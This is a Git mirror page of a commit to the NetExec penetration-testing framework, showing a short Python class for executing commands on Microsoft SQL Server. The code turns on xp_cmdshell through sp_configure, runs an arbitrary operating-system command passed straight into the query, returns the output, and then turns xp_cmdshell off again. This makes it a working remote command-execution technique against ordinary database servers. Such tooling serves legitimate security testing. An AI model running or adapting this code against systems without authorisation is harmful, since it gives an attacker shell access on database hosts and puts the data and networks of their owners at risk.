mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
10a12a9a0f
Quick re-cap on the new features: * Credentials and hosts are now stored in a database, the cme_db.py script can be used to query it * Module system has been implemented allowing anyone to create payloads * All underlying powershell code has been ported to a module * The HTTP/HTTPS server now tracks connections: no more guessing when to CTRL-C * All around better code quality, error handling and logging
29 lines
1.0 KiB
Python
29 lines
1.0 KiB
Python
import traceback
|
|
|
|
class MSSQLEXEC:
|
|
|
|
def __init__(self, connection):
|
|
self.mssql_conn = connection
|
|
self.outputBuffer = ''
|
|
|
|
def execute(self, command, output=False):
|
|
try:
|
|
self.enable_xp_cmdshell()
|
|
self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command))
|
|
|
|
if output:
|
|
self.mssql_conn.printReplies()
|
|
self.mssql_conn.colMeta[0]['TypeData'] = 80*2
|
|
self.outputBuffer = self.mssql_conn.printRows()
|
|
|
|
self.disable_xp_cmdshell()
|
|
return self.outputBuffer
|
|
|
|
except Exception:
|
|
traceback.print_exc()
|
|
|
|
def enable_xp_cmdshell(self):
|
|
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
|
|
|
def disable_xp_cmdshell(self):
|
|
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") |